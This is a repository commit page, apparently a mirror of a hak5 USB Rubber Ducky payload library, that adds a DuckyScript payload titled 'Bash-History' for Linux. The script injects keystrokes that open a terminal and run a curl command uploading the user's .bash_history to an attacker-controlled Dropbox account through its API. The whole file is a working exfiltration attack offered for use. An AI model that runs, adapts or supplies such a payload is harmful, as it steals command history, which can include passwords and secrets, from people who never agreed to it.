hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

add payload

pull/229/head
Zoe Ronen 2023-02-12 03:39:36 -05:00
parent 889dc26f4d
commit e7cffd1cd8
1 changed files with 30 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
payloads/library/exfiltration/Bash-History/payload.txt Normal file
View File

@ -0,0 +1,30 @@
REM Title: Bash-History
REM Author: Zoe Ronen
REM Description: This payload is meant to exfiltrate bash history to a dropbox
REM Target: Linux
DELAY 500
INJECT_MOD WINDOWS
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING cd $HOME
DELAY 500
ENTER
DELAY 500
STRING curl -X POST https://content.dropboxapi.com/2/files/upload
SPACE
REM replace the [DROPBOX_ACCESS_TOKEN] placeholder with your actual Dropbox access token
STRING --header "Authorization: Bea[DROPBOX_ACCESS_TOKEN]"
SPACE
STRING --header "Dropbox-API-Arg: {\"path\": \"/home/$USER/.bash_history\"}"
SPACE
STRING --header "Content-Type: application/octet-stream" --data-binary @.bash_history
DELAY 500
ENTER
DELAY 500
STRING exit
DELAY 500
ENTER